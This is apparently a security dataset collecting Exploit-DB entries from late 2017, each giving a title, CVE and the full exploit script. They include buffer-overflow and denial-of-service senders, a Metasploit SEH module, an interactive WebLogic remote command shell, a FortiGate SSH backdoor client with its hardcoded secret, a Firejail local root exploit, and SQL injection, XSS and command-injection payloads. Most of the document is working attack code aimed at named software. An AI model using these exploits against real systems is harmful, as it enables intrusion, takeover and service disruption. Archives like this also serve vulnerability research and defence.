QLWD/code_shield huggingface dataset:
标题: ALLMediaServer 0.95 - Buffer Overflow (PoC) EDB-ID: 43406 CVE: 2017-17932 类型: DOS 平台: WINDOWS 发布日期: 2017-12-27 漏洞利用脚本: # Exploit Title: Buffer  overflow in ALLPlayer ALLMediaServer 0.95 and earlier
# CVE: CVE-2017-17932
# Date: 27-12-2017 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.allmediaserver.org/
# Category: webapps
# Attack Type: Remote
# Impact: Code execution and/or Denial of Service 



 
#1. Description
#
#A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.
#
#   
#2. Proof of Concept
#
 

#!/usr/bin/python

#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work. 

def main():

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

   s.connect(('192.168.205.131', 888))

   buffer = "A" * 3000


   s.send(buffer)

   s.close()


if __name__ == '__main__':
   import socket

   main() URL: https://www.exploit-db.com/exploits/43406
标题: SysGauge Server 3.6.18 - Denial of Service EDB-ID: 43403 CVE: 2017-15667 类型: DOS 平台: WINDOWS 发布日期: 2017-12-27 漏洞利用脚本: # Exploit Title: SysGauge Server 3.6.18 - DOS
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: hhttp://www.sysgauge.com/setups/sysgaugesrv_setup_v3.6.18.exe
# Version: v3.6.18
# Category; Windows Remote DOS
# CVE: CVE-2017-15667
# Author Homepage: www.unixawy.com
# Description: SysGauge Server 3.6.18 the Control Protocl suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9221.

#!/usr/bin/env python
import socket
target = "192.168.72.133"
port = 9221
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))
packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e"
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"
s.send(packet)

try:

         data = s.recv(100)

except:

         print "K1LL3D" URL: https://www.exploit-db.com/exploits/43403
标题: ALLMediaServer 0.95 - Remote Buffer Overflow (Metasploit) EDB-ID: 43407 CVE: 2017-17932 类型: REMOTE 平台: WINDOWS 发布日期: 2017-12-28 漏洞利用脚本: require 'msf/core'
 
class Metasploit4 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ALLMediaServer 0.95 Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in ALLMediaServer 0.95.
                The vulnerability is caused due to a boundary error within the
                handling of HTTP request.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Anurag Srivastava', # Remote exploit and Metasploit module
                ],
            'References'     =>
                [
                    [ 'EDB', '43406' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process', #none/process/thread/seh
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'BadChars' => "",
                    'Space' => 660,
                    'DisableNops' => true
                },
 
            'Targets'        =>
                [
                    [ 'ALLMediaServer 0.95 / Windows XP SP3 - English',
                        {
                            'Ret'       =>   0x00408315, # POP # POP # POP # RET 
                            'Offset'    =>   1072
                        }
                    ],
                    [ 'ALLMediaServer 0.95 / Windows 7 SP1 - English',
                        {
                            'Ret'       =>   0x00408315, #  POP # POP # POP # RET 
                            'Offset'    =>   1072
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Dec 28 2017',
            'DefaultTarget'  => 1))
 
        register_options([Opt::RPORT(888)], self.class)
 
    end
 
    def exploit
        connect
 buffer = ""
        buffer << make_nops(target['Offset'])
 buffer << generate_seh_record(target.ret)
 buffer << make_nops(19)
        buffer << payload.encoded
        print_status("Sending payload ...")
        sock.put(buffer)
 handler
        disconnect
    end
end URL: https://www.exploit-db.com/exploits/43407
标题: Biometric Shift Employee Management System 3.0 - Local File Disclosure EDB-ID: 43394 CVE: 2017-17876 类型: WEBAPPS 平台: PHP 发布日期: 2017-12-26 漏洞利用脚本: # # # # #
# Exploit Title: Biometric Shift Employee Management System 3.0 - Local File Download
# Dork: N/A
# Date: 24.12.2017
# Vendor Homepage: https://www.shiftsystems.net/
# Software Link: https://codecanyon.net/item/white-label-shift-employee-management-system/21061908
# Version: 3.0 
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17876
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker download local files....
#
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?user=download?name=VerAyari.Ver&path=[FILE]
# 
# # # # # URL: https://www.exploit-db.com/exploits/43394
标题: Oracle WebLogic Server 10.3.6.0.0 / 12.x - Remote Command Execution EDB-ID: 43392 CVE: 2017-10271 类型: REMOTE 平台: MULTIPLE 发布日期: 2017-12-26 漏洞利用脚本: import requests
import sys

url_in = sys.argv[1]
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
payload_header = {'content-type': 'text/xml'}


def payload_command (command_in):
    html_escape_table = {
        "&": "&",
        '"': """,
        "'": "&apos;",
        ">": ">",
        "<": "<",
    }
    command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
    payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
                "   <soapenv:Header> " \
                "       <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
                "           <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
                "               <void class=\"java.lang.ProcessBuilder\"> \n" \
                "                  <array class=\"java.lang.String\" length=\"3\">" \
                "                      <void index = \"0\">                       " \
                "                          <string>cmd</string>                 " \
                "                      </void>                                    " \
                "                      <void index = \"1\">                       " \
                "                          <string>/c</string>                  " \
                "                      </void>                                    " \
                "                      <void index = \"2\">                       " \
                + command_filtered + \
                "                      </void>                                    " \
                "                  </array>" \
                "                  <void method=\"start\"/>" \
                "                  </void>" \
                "            </java>" \
                "        </work:WorkContext>" \
                "   </soapenv:Header>" \
                "   <soapenv:Body/>" \
                "</soapenv:Envelope>"
    return payload_1

def do_post(command_in):
    result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)

    if result.status_code == 500:
        print "Command Executed \n"
    else:
        print "Something Went Wrong \n"



print "***************************************************** \n" \
       "****************   Coded By 1337g  ****************** \n" \
       "*  CVE-2017-10271 Blind Remote Command Execute EXP  * \n" \
       "***************************************************** \n"

while 1:
    command_in = raw_input("Eneter your command here: ")
    if command_in == "exit" : exit(0)
    do_post(command_in) URL: https://www.exploit-db.com/exploits/43392
标题: Joomla! Component JEXTN FAQ Pro 4.0.0 - 'id' SQL Injection EDB-ID: 43393 CVE: 2017-17875 类型: WEBAPPS 平台: PHP 发布日期: 2017-12-26 漏洞利用脚本: # # # # #
# Exploit Title: Joomla! Component JEXTN FAQ Pro 4.0.0 - SQL Injection
# Dork: N/A
# Date: 24.12.2017
# Vendor Homepage: http://jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/jextn-faq-pro/
# Version: 4.0.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17875
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jefaqpro&view=category&id=[SQL]&Itemid=494
#  
# 11+OR+1+GROUP+BY+CONCAT_WS(0x3a,0x496873616e53656e63616e,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1
# 
# # # # # URL: https://www.exploit-db.com/exploits/43393
标题: GetGo Download Manager 5.3.0.2712 - Buffer Overflow EDB-ID: 43391 CVE: 2017-17849 类型: DOS 平台: WINDOWS 发布日期: 2017-12-26 漏洞利用脚本: # Exploit Title: Buffer overflow vulnerability in GetGo Download Manager 5.3.0.2712
# CVE: CVE-2017-17849
# Date: 22-12-2017
# Tested on Windows 10 32 bits 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Software Link: http://www.getgosoft.com/getgodm/ 
# Category: webapps
# Attack Type: Remote
# Impact: Code Execution 


 
1. Description

A buffer overflow vulnerability in GetGo Download Manager 5.3.0.2712 and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution on the victim computer. 

   
2. Proof of Concept

 

def main():
    host = "192.168.205.128"
    port = 80

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    s.listen(1)
    print "\n[+] Listening on %d ..." % port

    cl, addr = s.accept()
    print "[+] Connection accepted from %s" % addr[0]

    evilbuffer = "A" * 4105
    hardCodedEIP= "\x69\x9E\x45\x76" #This is a hardcoded EIP just for demo . As you can see on the screenshot, we hit a breakpoint, right here on this EIP. Do you see our stack!!! You need to change this. 
    pads  = "C"*(6000 - len(evilbuffer + hardCodedEIP))
    payload = evilbuffer + hardCodedEIP + pads

    buffer = "HTTP/1.1 200 " + payload + "\r\n"

    print cl.recv(1000)
    cl.send(buffer)
    print "[+] Sending buffer: OK\n"

    sleep(3)
    cl.close()
    s.close()

if __name__ == '__main__':
    import socket
    from time import sleep
    main()

3. Solution:

   No solution as of yet. URL: https://www.exploit-db.com/exploits/43391
标题: Fortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Access EDB-ID: 43386 CVE: 2016-1909 类型: REMOTE 平台: LINUX 发布日期: 2016-01-09 漏洞利用脚本: #!/usr/bin/env python

# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
    n = prompt_list[0][0]
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]


def main():
    if len(sys.argv) < 2:
        print 'Usage: ' + sys.argv[0] + ' <target-ip>'
        exit(-1)

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
    except paramiko.ssh_exception.SSHException:
        pass

    trans = client.get_transport()
    try:
        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
    except paramiko.ssh_exception.AuthenticationException:
        pass

    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
    chan = client.invoke_shell()

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)

        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/43386
标题: Conarc iChannel - Improper Access Restrictions EDB-ID: 43377 CVE: 2017-17759 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2017-12-20 漏洞利用脚本: # Exploit Title: Conarc iChannel - Unauthenticated Access/Default Webserver Misconfiguration allows for compromise of server
# Date: 2017-12-19
# Exploit Author: Information Paradox
# CVE : CVE-2017-17759


https://(affectedserver)/wc.dll?wwMaint~EditConfig

The customized webserver used by iChannel is based on an outdated and
vulnerable version of WestWind Webserver. This page is available,
unauthenticated, to a malicious attacker.

By visiting this link, the attacker can access the webserver configuration
edit page. This page reveals sensitive information, allows for alteration
of the webserver configuration, upload/modification of the server's
configuration and can result in a Denial of Service attack by deleting the
configuration.

This has been acknowledged by Conarc and they have been notified of the
impact.
If your iChannel install is available publicly, this can result in complete
compromise of the server, the web application and severe information
leakage/DOS.

Resolution:

Conarc has been notified of this issue. Until this issue is patched, the
affected installs should be removed from public access. In the case of
private deployments, this page should have an ACL applied to prevent
unauthenticated access to this page. URL: https://www.exploit-db.com/exploits/43377
标题: Ability Mail Server 3.3.2 - Cross-Site Scripting EDB-ID: 43378 CVE: 2017-17752 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2017-12-20 漏洞利用脚本: # Exploit Title: Ability Mail Server 3.3.2 Persistent Cross Site Scripting (XSS)
# CVE: CVE-2017-17752
# Date: 19-12-2017
# Software Link: http://download.codecrafters.com/ams3.exe 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.codecrafters.com 
# Category: webapps
# Attack Type: Remote
# Impact: Data/Cookie theft 

 
1. Description


   Ability Mail Server 3.3.2 has Persistent Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). To exploit the vulnerability, the victim must open an email with malicious Javascript inserted into the body of the email.


   
2. Proof of Concept

 

#!/usr/bin/env python 
email_addr = 'hacker@evil.local'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email +='<script>alert(1)</script>'
s = smtplib.SMTP('<Attacker IP address', 25)
s.login(email_addr, "password")
s.sendmail(email_addr, email_addr, email)
s.quit()

3. Solution:

   
Update to version 4.2.4
http://download.codecrafters.com/ams.exe URL: https://www.exploit-db.com/exploits/43378
标题: BEIMS ContractorWeb 5.18.0.0 - SQL Injection EDB-ID: 43379 CVE: 2017-17721 类型: WEBAPPS 平台: WINDOWS 发布日期: 2017-12-20 漏洞利用脚本: # Exploit Title: SQL Injection
# Date: 18 December, 2017
# Exploit Author: Rajwinder Singh
# Vendor Homepage: http://www.beims.com/products/
# Software Link: http://www.beims.com/optional-modules/#ccw

# Version: BEIMS ContractorWeb .NET System 5.18.0.0
# CVE : 2017-17721


Vulnerability Details:
======================
WEBNET/WOSummary/List in ZUUSE BEIMS ContractorWeb .NET 5.18.0.0 allows SQL injection via the tradestatus, assetno, assignto, building, domain, jobtype, site, trade, woType, workorderno, or workorderstatus parameter.

Impact:
======================
1. Database compromise
2. Server compromise
3. Application defacement
4. Internal network access and exploitation.


Proof-of-Concept:
====================
1. Injected SQL injection payload under page "/CWEBNET/WOSummary/List" in post parameter 'tradestatus' and received SQL error response from server.
2. Saved request in the text file to run automated SQLmap tool for further enumeration and successfully dumped full database which will not be disclosed.

Affected Component:
====================
URL: www.domain.com/CWEBNET/WOSummary/List
post parameters: tradestatus, assetno, assignto, building, domain, jobtype, site, trade, woType, workorderno, workorderstatus

Disclosure Timeline:
=====================
Mitre Notification: 18 December, 2017 
Public Disclosure: 18 December, 2017

Exploitation Technique:
=======================
Remote

Severity Level:
================
Critical

Description:
=====================================================
Request Method(s): [+] POST
Vulnerable Product: [+] BEIMS ContractorWeb .NET System 5.18.0.0

Reference: https://becomepentester.blogspot.ae/2017/12/ZUUSE-BEIMS-ContractorWeb-SQLInjection-CVE-2017-17721.html URL: https://www.exploit-db.com/exploits/43379
标题: Firejail < 0.9.44.4 / < 0.9.38.8 LTS - Local Sandbox Escape EDB-ID: 43359 CVE: 2017-5180 类型: LOCAL 平台: LINUX 发布日期: 2017-01-04 漏洞利用脚本: /* firejail local root exploit (host to host)
 *
 * (C) 2017 Sebastian Krahmer under the GPL.
 *
 * WARNING: This exploit uses ld.so.preload technique.
 * If you are in bad luck, you may end up with an unusable system.
 * SO BE WARNED. ONLY TEST IT IN YOUR SAFE VM's.
 *
 * Get the beauty that this is a shared lib and a running
 * executable at the same time, as we tamper with /etc/ld.so.preload
 *
 * Therefore you have to compile it like this:
 *
 * $ cc -fPIC -fpic -std=c11 -Wall -pedantic -c firenail.c
 * $ gcc -shared -pie firenail.o -o firenail
 * $ ./firenail
 *
 * DO NOT TELL ME THAT SELINUX WOULD HAVE PREVENTED THIS EXPLOIT.
 * IF I WAS ABOUT TO BYPASS SELINUX ALONG, I WOULD HAVE DONE THE
 * EXPLOIT DIFFERENTLY.
 *
 * Analysis: Sandboxing is cool, but it has to be done right.
 * Firejail has too broad attack surface that allows users
 * to specify a lot of options, where one of them eventually
 * broke by accessing user-files while running with euid 0.
 * There are some other similar races. Turns out that it can be
 * _very difficult_ to create a generic sandbox suid wrapper thats
 * secure but still flexible enough to sandbox arbitrary binaries.
 *
 * Tested with latest commit 699ab75654ad5ab7b48b067a2679c544cc8725f6.
 */
#define _POSIX_C_SOURCE 200212
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>


const char *const ldso = "/etc/ld.so.preload";

int main();

__attribute__((constructor)) void init(void)
{
 if (geteuid())
  return;

 unlink(ldso);
 char *sh[] = {"/bin/sh", "--noprofile", "--norc", NULL};
 setuid(0);
 setgid(0);
 execve(*sh, sh, NULL);
 exit(1);
}


void die(const char *s)
{
 perror(s);
 exit(errno);
}


int main()
{
 printf("[*] fire(j|n)ail local root exploit 2017\n\n");

 char me[4096] = {0}, *home = getenv("HOME");
 if (!home)
  die("[-] no $HOME");
 if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
  die("[-] Unable to find myself");

 char path[256] = {0};
 snprintf(path, sizeof(path) - 1, "%s/.firenail", home);
 if (mkdir(path, 0700) < 0 && errno != EEXIST)
  die("[-] mkdir");

 snprintf(path, sizeof(path) - 1, "%s/.firenail/.Xauthority", home);
 if (symlink(ldso, path) < 0 && errno != EEXIST)
  die("[-] symlink");

 system("firejail --private=.firenail /usr/bin/id");

 int fd = open(ldso, O_RDWR|O_TRUNC);
 if (fd < 0)
  die("[-] open");
 write(fd, me, strlen(me));
 write(fd, "\n", 1);
 close(fd);

 char *su[] = {"/bin/su", NULL};
 execve(*su, su, NULL);
 die("[-] execve su");

 return -1;
} URL: https://www.exploit-db.com/exploits/43359
标题: Linksys WVBR0 - 'User-Agent' Remote Command Injection EDB-ID: 43363 CVE: 2017-17411 类型: WEBAPPS 平台: HARDWARE 发布日期: 2017-12-14 漏洞利用脚本: #!/usr/bin/python
# -*- coding: utf-8 -*-

# Author: Nixawk
# CVE-2017-17411
# Linksys WVBR0 25 Command Injection

"""
$ python2.7 exploit-CVE-2017-17411.py
[*] Usage: python exploit-CVE-2017-17411.py <URL>

$ python2.7 exploit-CVE-2017-17411.py http://example.com/
[+] Target is exploitable by CVE-2017-17411
"""

import requests


def check(url):
    payload = '"; echo "admin'
    md5hash = "456b7016a916a4b178dd72b947c152b7"  # echo "admin" | md5sum

    resp = send_http_request(url, payload)

    if not resp:
        return False

    lines = resp.text.splitlines()
    sys_cmds = filter(lambda x: "config.webui sys_cmd" in x, lines)

    if not any([payload in sys_cmd for sys_cmd in sys_cmds]):
        return False

    if not any([md5hash in sys_cmd for sys_cmd in sys_cmds]):
        return False

    print("[+] Target is exploitable by CVE-2017-17411 ")
    return True


def send_http_request(url, payload):
    headers = {
        'User-Agent': payload
    }

    response = None
    try:
        response = requests.get(url, headers=headers)
    except Exception as err:
        log.exception(err)

    return response


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 2:
        print("[*] Usage: python %s <URL>" % sys.argv[0])
        sys.exit(0)

    check(sys.argv[1])


# google dork: "Vendor:LINKSYS ModelName:WVBR0-25-US"

## References

# https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
# https://thehackernews.com/2017/12/directv-wvb-hack.html URL: https://www.exploit-db.com/exploits/43363